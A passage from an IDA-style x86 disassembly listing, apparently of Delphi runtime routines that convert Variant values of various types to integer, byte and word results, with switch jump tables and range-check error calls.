loc_4000ED43: ; CODE XREF: sub_4000ECE8+53j ; DATA XREF: sub_4000ECE8+46o mov eax, [ebp+var_4] pop ebx mov esp, ebp pop ebp retn sub_4000ECE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000ED4C proc near ; CODE XREF: sub_4000ED90+403p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, edx mov esi, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 mov ebx, eax test bl, bl jz short loc_4000ED87 lea eax, [esp+20h+var_1C] push eax call sub_4000CDD8 push 3 mov ecx, esi lea edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] mov esi, [eax] call dword ptr [esi+1Ch] mov eax, [esp+20h+var_14] mov [edi], eax loc_4000ED87: ; CODE XREF: sub_4000ED4C+18j mov eax, ebx add esp, 14h pop edi pop esi pop ebx retn sub_4000ED4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000ED90 proc near ; CODE XREF: sub_4000E9CC+E7p ; sub_4000ECE8+36p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_4000F1B1 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] movzx eax, word ptr [eax] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_4000EF8D ; default ; jumptable 4000EDBC cases 10,14,15 jmp ds:off_4000EDC3[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_4000EDC3 dd offset loc_4000EE17 ; DATA XREF: sub_4000ED90+2Cr dd offset loc_4000EE21 ; jump table for switch statement dd offset loc_4000EE41 dd offset loc_4000EE50 dd offset loc_4000EE5E dd offset loc_4000EE7F dd offset loc_4000EEA0 dd offset loc_4000EEC7 dd offset loc_4000EEE8 dd offset loc_4000EF7D dd offset loc_4000EF8D dd offset loc_4000EEF8 dd offset loc_4000EF6A dd offset loc_4000EF7D dd offset loc_4000EF8D dd offset loc_4000EF8D dd offset loc_4000EF07 dd offset loc_4000EF16 dd offset loc_4000EF25 dd offset loc_4000EF34 dd offset loc_4000EF4B ; --------------------------------------------------------------------------- loc_4000EE17: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o xor eax, eax ; jumptable 4000EDBC case 0 mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EE21: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o cmp byte_4001AA10, 0 ; jumptable 4000EDBC case 1 jz short loc_4000EE37 mov dx, 3 mov ax, 1 call sub_4000DBF4 loc_4000EE37: ; CODE XREF: sub_4000ED90+98j xor eax, eax mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EE41: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 2 movsx eax, word ptr [eax+8] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EE50: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 3 mov eax, [eax+8] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EE5E: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 4 fld dword ptr [eax+8] call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000EE77 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000EE77: ; CODE XREF: sub_4000ED90+E0j mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EE7F: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 5 fld qword ptr [eax+8] call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000EE98 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000EE98: ; CODE XREF: sub_4000ED90+101j mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EEA0: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 6 fild qword ptr [eax+8] fdiv ds:flt_4000F1DC call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000EEBF call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000EEBF: ; CODE XREF: sub_4000ED90+128j mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EEC7: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 7 fld qword ptr [eax+8] call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000EEE0 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000EEE0: ; CODE XREF: sub_4000ED90+149j mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EEE8: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 8 call sub_4000EBF8 mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EEF8: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 11 movsx eax, word ptr [eax+8] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF07: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 16 movsx eax, byte ptr [eax+8] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF16: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 17 movzx eax, byte ptr [eax+8] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF25: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 18 movzx eax, word ptr [eax+8] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF34: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 19 mov eax, [eax+8] test eax, eax jns short loc_4000EF43 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000EF43: ; CODE XREF: sub_4000ED90+1ACj mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF4B: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 20 mov edx, [eax+0Ch] mov eax, [eax+8] push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000EF62 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000EF62: ; CODE XREF: sub_4000ED90+1CBj mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF6A: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC case 12 mov eax, [eax+8] call sub_4000ED90 mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF7D: ; CODE XREF: sub_4000ED90+2Cj ; DATA XREF: sub_4000ED90:off_4000EDC3o mov eax, [ebp+var_4] ; jumptable 4000EDBC cases 9,13 call sub_4000ECAC mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EF8D: ; CODE XREF: sub_4000ED90+26j ; sub_4000ED90+2Cj ; DATA XREF: ... mov edx, [ebp+var_4] ; default ; jumptable 4000EDBC cases 10,14,15 mov edx, eax sub dx, 100h jz short loc_4000EFA0 dec dx jz short loc_4000EFB0 jmp short loc_4000EFC0 ; --------------------------------------------------------------------------- loc_4000EFA0: ; CODE XREF: sub_4000ED90+207j mov eax, [ebp+var_4] call sub_4000EBF8 mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EFB0: ; CODE XREF: sub_4000ED90+20Cj mov eax, [ebp+var_4] call sub_4000ECE8 mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000EFC0: ; CODE XREF: sub_4000ED90+20Ej mov edx, [ebp+var_4] test ah, 40h jz loc_4000F18D mov edx, [ebp+var_4] movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_4000F180 ; default ; jumptable 4000EFE0 cases 0,1,9,10,13-15 jmp ds:off_4000EFE7[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_4000EFE7 dd offset loc_4000F180 ; DATA XREF: sub_4000ED90+250r dd offset loc_4000F180 ; jump table for switch statement dd offset loc_4000F03B dd offset loc_4000F04C dd offset loc_4000F05C dd offset loc_4000F07F dd offset loc_4000F0A2 dd offset loc_4000F0CB dd offset loc_4000F0EE dd offset loc_4000F180 dd offset loc_4000F180 dd offset loc_4000F0FE dd offset loc_4000F170 dd offset loc_4000F180 dd offset loc_4000F180 dd offset loc_4000F180 dd offset loc_4000F10F dd offset loc_4000F120 dd offset loc_4000F12E dd offset loc_4000F13C dd offset loc_4000F152 ; --------------------------------------------------------------------------- loc_4000F03B: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 2 mov eax, [eax+8] movsx eax, word ptr [eax] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F04C: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 3 mov eax, [eax+8] mov eax, [eax] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F05C: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 4 mov eax, [eax+8] fld dword ptr [eax] call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000F077 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F077: ; CODE XREF: sub_4000ED90+2E0j mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F07F: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 5 mov eax, [eax+8] fld qword ptr [eax] call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000F09A call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F09A: ; CODE XREF: sub_4000ED90+303j mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F0A2: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 6 mov eax, [eax+8] fild qword ptr [eax] fdiv ds:flt_4000F1DC call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000F0C3 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F0C3: ; CODE XREF: sub_4000ED90+32Cj mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F0CB: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 7 mov eax, [eax+8] fld qword ptr [eax] call sub_400030A8 push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000F0E6 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F0E6: ; CODE XREF: sub_4000ED90+34Fj mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F0EE: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 8 call sub_4000EBF8 mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F0FE: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 11 mov eax, [eax+8] movsx eax, word ptr [eax] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F10F: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 16 mov eax, [eax+8] movsx eax, byte ptr [eax] mov [ebp+var_8], eax jmp loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F120: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 17 mov eax, [eax+8] movzx eax, byte ptr [eax] mov [ebp+var_8], eax jmp short loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F12E: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 18 mov eax, [eax+8] movzx eax, word ptr [eax] mov [ebp+var_8], eax jmp short loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F13C: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 19 mov eax, [eax+8] mov eax, [eax] test eax, eax jns short loc_4000F14D call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F14D: ; CODE XREF: sub_4000ED90+3B6j mov [ebp+var_8], eax jmp short loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F152: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 20 mov eax, [eax+8] mov edx, [eax+4] mov eax, [eax] push eax sar eax, 1Fh cmp eax, edx pop eax jz short loc_4000F16B call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F16B: ; CODE XREF: sub_4000ED90+3D4j mov [ebp+var_8], eax jmp short loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F170: ; CODE XREF: sub_4000ED90+250j ; DATA XREF: sub_4000ED90:off_4000EFE7o mov eax, [ebp+var_4] ; jumptable 4000EFE0 case 12 mov eax, [eax+8] call sub_4000ED90 mov [ebp+var_8], eax jmp short loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F180: ; CODE XREF: sub_4000ED90+24Aj ; sub_4000ED90+250j ; DATA XREF: ... mov eax, [ebp+var_4] ; default ; jumptable 4000EFE0 cases 0,1,9,10,13-15 call sub_4000ECAC mov [ebp+var_8], eax jmp short loc_4000F1A7 ; --------------------------------------------------------------------------- loc_4000F18D: ; CODE XREF: sub_4000ED90+236j lea edx, [ebp+var_8] mov eax, [ebp+var_4] call sub_4000ED4C test al, al jnz short loc_4000F1A7 mov eax, [ebp+var_4] call sub_4000ECAC mov [ebp+var_8], eax loc_4000F1A7: ; CODE XREF: sub_4000ED90+8Cj ; sub_4000ED90+ACj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000F1CF ; --------------------------------------------------------------------------- loc_4000F1B1: ; DATA XREF: sub_4000ED90+Fo jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 3 call sub_4000E068 xor eax, eax mov [ebp+var_8], eax call sub_40004360 loc_4000F1CF: ; CODE XREF: sub_4000ED90+41Fj mov eax, [ebp+var_8] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_4000ED90 endp ; --------------------------------------------------------------------------- align 4 flt_4000F1DC dd 1.0e4 ; DATA XREF: sub_4000ED90+116r ; sub_4000ED90+31Ar ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F1E0 proc near ; CODE XREF: sub_4000E9CC+187p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] sub ax, 1 jb short loc_4000F206 jz short loc_4000F20A sub ax, 0Ah jz short loc_4000F224 sub ax, 5 jz short loc_4000F22D jmp short loc_4000F236 ; --------------------------------------------------------------------------- loc_4000F206: ; CODE XREF: sub_4000F1E0+14j xor ebx, ebx jmp short loc_4000F289 ; --------------------------------------------------------------------------- loc_4000F20A: ; CODE XREF: sub_4000F1E0+16j cmp byte_4001AA10, 0 jz short loc_4000F220 mov dx, 10h mov ax, 1 call sub_4000DBF4 loc_4000F220: ; CODE XREF: sub_4000F1E0+31j xor ebx, ebx jmp short loc_4000F289 ; --------------------------------------------------------------------------- loc_4000F224: ; CODE XREF: sub_4000F1E0+1Cj mov ebx, [ebp+var_4] movzx ebx, byte ptr [ebx+8] jmp short loc_4000F289 ; --------------------------------------------------------------------------- loc_4000F22D: ; CODE XREF: sub_4000F1E0+22j mov ebx, [ebp+var_4] movzx ebx, byte ptr [ebx+8] jmp short loc_4000F289 ; --------------------------------------------------------------------------- loc_4000F236: ; CODE XREF: sub_4000F1E0+24j xor eax, eax push ebp push offset loc_4000F26E push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4000ED90 mov ebx, eax add ebx, 80h cmp ebx, 0FFh jbe short loc_4000F261 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F261: ; CODE XREF: sub_4000F1E0+7Aj add ebx, 0FFFFFF80h xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000F289 ; --------------------------------------------------------------------------- loc_4000F26E: ; DATA XREF: sub_4000F1E0+59o jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 10h call sub_4000E068 xor ebx, ebx call sub_40004360 loc_4000F289: ; CODE XREF: sub_4000F1E0+28j ; sub_4000F1E0+42j ... mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000F1E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F294 proc near ; CODE XREF: sub_4000E9CC+19Cp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] sub ax, 1 jb short loc_4000F2BA jz short loc_4000F2BE sub ax, 0Ah jz short loc_4000F2D8 sub ax, 6 jz short loc_4000F2E1 jmp short loc_4000F2EA ; --------------------------------------------------------------------------- loc_4000F2BA: ; CODE XREF: sub_4000F294+14j xor ebx, ebx jmp short loc_4000F334 ; --------------------------------------------------------------------------- loc_4000F2BE: ; CODE XREF: sub_4000F294+16j cmp byte_4001AA10, 0 jz short loc_4000F2D4 mov dx, 11h mov ax, 1 call sub_4000DBF4 loc_4000F2D4: ; CODE XREF: sub_4000F294+31j xor ebx, ebx jmp short loc_4000F334 ; --------------------------------------------------------------------------- loc_4000F2D8: ; CODE XREF: sub_4000F294+1Cj mov ebx, [ebp+var_4] movzx ebx, byte ptr [ebx+8] jmp short loc_4000F334 ; --------------------------------------------------------------------------- loc_4000F2E1: ; CODE XREF: sub_4000F294+22j mov ebx, [ebp+var_4] movzx ebx, byte ptr [ebx+8] jmp short loc_4000F334 ; --------------------------------------------------------------------------- loc_4000F2EA: ; CODE XREF: sub_4000F294+24j xor eax, eax push ebp push offset loc_4000F319 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4000ED90 mov ebx, eax cmp ebx, 0FFh jbe short loc_4000F30F call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F30F: ; CODE XREF: sub_4000F294+74j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000F334 ; --------------------------------------------------------------------------- loc_4000F319: ; DATA XREF: sub_4000F294+59o jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 11h call sub_4000E068 xor ebx, ebx call sub_40004360 loc_4000F334: ; CODE XREF: sub_4000F294+28j ; sub_4000F294+42j ... mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000F294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F33C proc near ; CODE XREF: sub_4000E9CC+D2p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] cmp eax, 11h ; switch 18 cases ja loc_4000F3D6 ; default ; jumptable 4000F35C cases 3-10,12-15 movzx eax, ds:byte_4000F363[eax] jmp ds:off_4000F375[eax*4] ; switch jump ; --------------------------------------------------------------------------- byte_4000F363 db 1, 2, 3, 0 ; DATA XREF: sub_4000F33C+19r db 0, 0, 0, 0 ; indirect table for switch statement db 0, 0, 0, 4 db 0, 0, 0, 0 db 5, 6 off_4000F375 dd offset loc_4000F3D6 ; DATA XREF: sub_4000F33C+20r dd offset loc_4000F391 ; jump table for switch statement dd offset loc_4000F398 dd offset loc_4000F3B2 dd offset loc_4000F3BB dd offset loc_4000F3C4 dd offset loc_4000F3CD ; --------------------------------------------------------------------------- loc_4000F391: ; CODE XREF: sub_4000F33C+20j ; DATA XREF: sub_4000F33C:off_4000F375o xor ebx, ebx ; jumptable 4000F35C case 0 jmp loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F398: ; CODE XREF: sub_4000F33C+20j ; DATA XREF: sub_4000F33C:off_4000F375o cmp byte_4001AA10, 0 ; jumptable 4000F35C case 1 jz short loc_4000F3AE mov dx, 2 mov ax, 1 call sub_4000DBF4 loc_4000F3AE: ; CODE XREF: sub_4000F33C+63j xor ebx, ebx jmp short loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F3B2: ; CODE XREF: sub_4000F33C+20j ; DATA XREF: sub_4000F33C:off_4000F375o mov ebx, [ebp+var_4] ; jumptable 4000F35C case 2 movzx ebx, word ptr [ebx+8] jmp short loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F3BB: ; CODE XREF: sub_4000F33C+20j ; DATA XREF: sub_4000F33C:off_4000F375o mov ebx, [ebp+var_4] ; jumptable 4000F35C case 11 movzx ebx, word ptr [ebx+8] jmp short loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F3C4: ; CODE XREF: sub_4000F33C+20j ; DATA XREF: sub_4000F33C:off_4000F375o mov ebx, [ebp+var_4] ; jumptable 4000F35C case 16 movsx ebx, byte ptr [ebx+8] jmp short loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F3CD: ; CODE XREF: sub_4000F33C+20j ; DATA XREF: sub_4000F33C:off_4000F375o mov ebx, [ebp+var_4] ; jumptable 4000F35C case 17 movzx ebx, byte ptr [ebx+8] jmp short loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F3D6: ; CODE XREF: sub_4000F33C+13j ; sub_4000F33C+20j ; DATA XREF: ... xor eax, eax ; default ; jumptable 4000F35C cases 3-10,12-15 push ebp push offset loc_4000F411 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4000ED90 mov ebx, eax add ebx, 8000h cmp ebx, 0FFFFh jbe short loc_4000F401 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F401: ; CODE XREF: sub_4000F33C+BEj add ebx, 0FFFF8000h xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000F42C ; --------------------------------------------------------------------------- loc_4000F411: ; DATA XREF: sub_4000F33C+9Do jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 2 call sub_4000E068 xor ebx, ebx call sub_40004360 loc_4000F42C: ; CODE XREF: sub_4000F33C+57j ; sub_4000F33C+74j ... mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000F33C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F434 proc near ; CODE XREF: sub_4000E9CC+1AEp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] cmp eax, 12h ; switch 19 cases ja short loc_4000F4BB ; default ; jumptable 4000F450 cases 2-10,12-16 movzx eax, ds:byte_4000F457[eax] jmp ds:off_4000F46A[eax*4] ; switch jump ; --------------------------------------------------------------------------- byte_4000F457 db 1, 2, 0, 0 ; DATA XREF: sub_4000F434+15r db 0, 0, 0, 0 ; indirect table for switch statement db 0, 0, 0, 3 db 0, 0, 0, 0 db 0, 4, 5 off_4000F46A dd offset loc_4000F4BB ; DATA XREF: sub_4000F434+1Cr dd offset loc_4000F482 ; jump table for switch statement dd offset loc_4000F486 dd offset loc_4000F4A0 dd offset loc_4000F4A9 dd offset loc_4000F4B2 ; --------------------------------------------------------------------------- loc_4000F482: ; CODE XREF: sub_4000F434+1Cj ; DATA XREF: sub_4000F434:off_4000F46Ao xor ebx, ebx ; jumptable 4000F450 case 0 jmp short loc_4000F505 ; --------------------------------------------------------------------------- loc_4000F486: ; CODE XREF: sub_4000F434+1Cj ; DATA XREF: sub_4000F434:off_4000F46Ao cmp byte_4001AA10, 0 ; jumptable 4000F450 case 1 jz short loc_4000F49C mov dx, 12h mov ax, 1 call sub_4000DBF4 loc_4000F49C: ; CODE XREF: sub_4000F434+59j xor ebx, ebx jmp short loc_4000F505 ; --------------------------------------------------------------------------- loc_4000F4A0: ; CODE XREF: sub_4000F434+1Cj ; DATA XREF: sub_4000F434:off_4000F46Ao mov ebx, [ebp+var_4] ; jumptable 4000F450 case 11 movzx ebx, word ptr [ebx+8] jmp short loc_4000F505 ; --------------------------------------------------------------------------- loc_4000F4A9: ; CODE XREF: sub_4000F434+1Cj ; DATA XREF: sub_4000F434:off_4000F46Ao mov ebx, [ebp+var_4] ; jumptable 4000F450 case 17 movzx ebx, byte ptr [ebx+8] jmp short loc_4000F505 ; --------------------------------------------------------------------------- loc_4000F4B2: ; CODE XREF: sub_4000F434+1Cj ; DATA XREF: sub_4000F434:off_4000F46Ao mov ebx, [ebp+var_4] ; jumptable 4000F450 case 18 movzx ebx, word ptr [ebx+8] jmp short loc_4000F505 ; --------------------------------------------------------------------------- loc_4000F4BB: ; CODE XREF: sub_4000F434+13j ; sub_4000F434+1Cj ; DATA XREF: ... xor eax, eax ; default ; jumptable 4000F450 cases 2-10,12-16 push ebp push offset loc_4000F4EA push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_4000ED90 mov ebx, eax cmp ebx, 0FFFFh jbe short loc_4000F4E0 call sub_40003C64 ; --------------------------------------------------------------------------- loc_4000F4E0: ; CODE XREF: sub_4000F434+A5j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000F505 ; --------------------------------------------------------------------------- loc_4000F4EA: ; DATA XREF: sub_4000F434+8Ao jmp sub_400040D8 ; --------------------------------------------------------------------------- mov eax, [ebp+var_4] movzx eax, word ptr [eax] mov dx, 12h call sub_4000E068 xor ebx, ebx call sub_40004360 loc_4000F505: ; CODE XREF: sub_4000F434+50j ; sub_4000F434+6Aj ... mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000F434 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000F510 proc near ; CODE XREF: sub_4000E9CC+1C0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] cmp eax, 13h ; switch 20 cases ja loc_4000F5AB ; default ; jumptable 4000F530 cases 2-10,12-16 movzx eax, ds:byte_4000F537[eax] jmp ds:off_4000F54B[eax*4] ; switch jump ; --------------------------------------------------------------------------- byte_4000F537 db 1, 2, 0, 0 ; DATA XREF: sub_4000F510+19r db 0, 0, 0, 0 ; indirect table for switch statement db 0, 0, 0, 3 db 0, 0, 0, 0 db 0, 4, 5, 6 off_4000F54B dd offset loc_4000F5AB ; DATA XREF: sub_4000F510+20r dd offset loc_4000F567 ; jump table for switch statement dd offset loc_4000F56E dd offset loc_4000F588 dd offset loc_4000F591 dd offset loc_4000F59A dd offset loc_4000F5A3 ; --------------------------------------------------------------------------- loc_4000F567: ; CODE XREF: sub_4000F510+20j ; DATA XREF: sub_4000F510:off_4000F54Bo xor ebx, ebx ; jumptable 4000F530 case 0 jmp loc_4000F5F1 ; 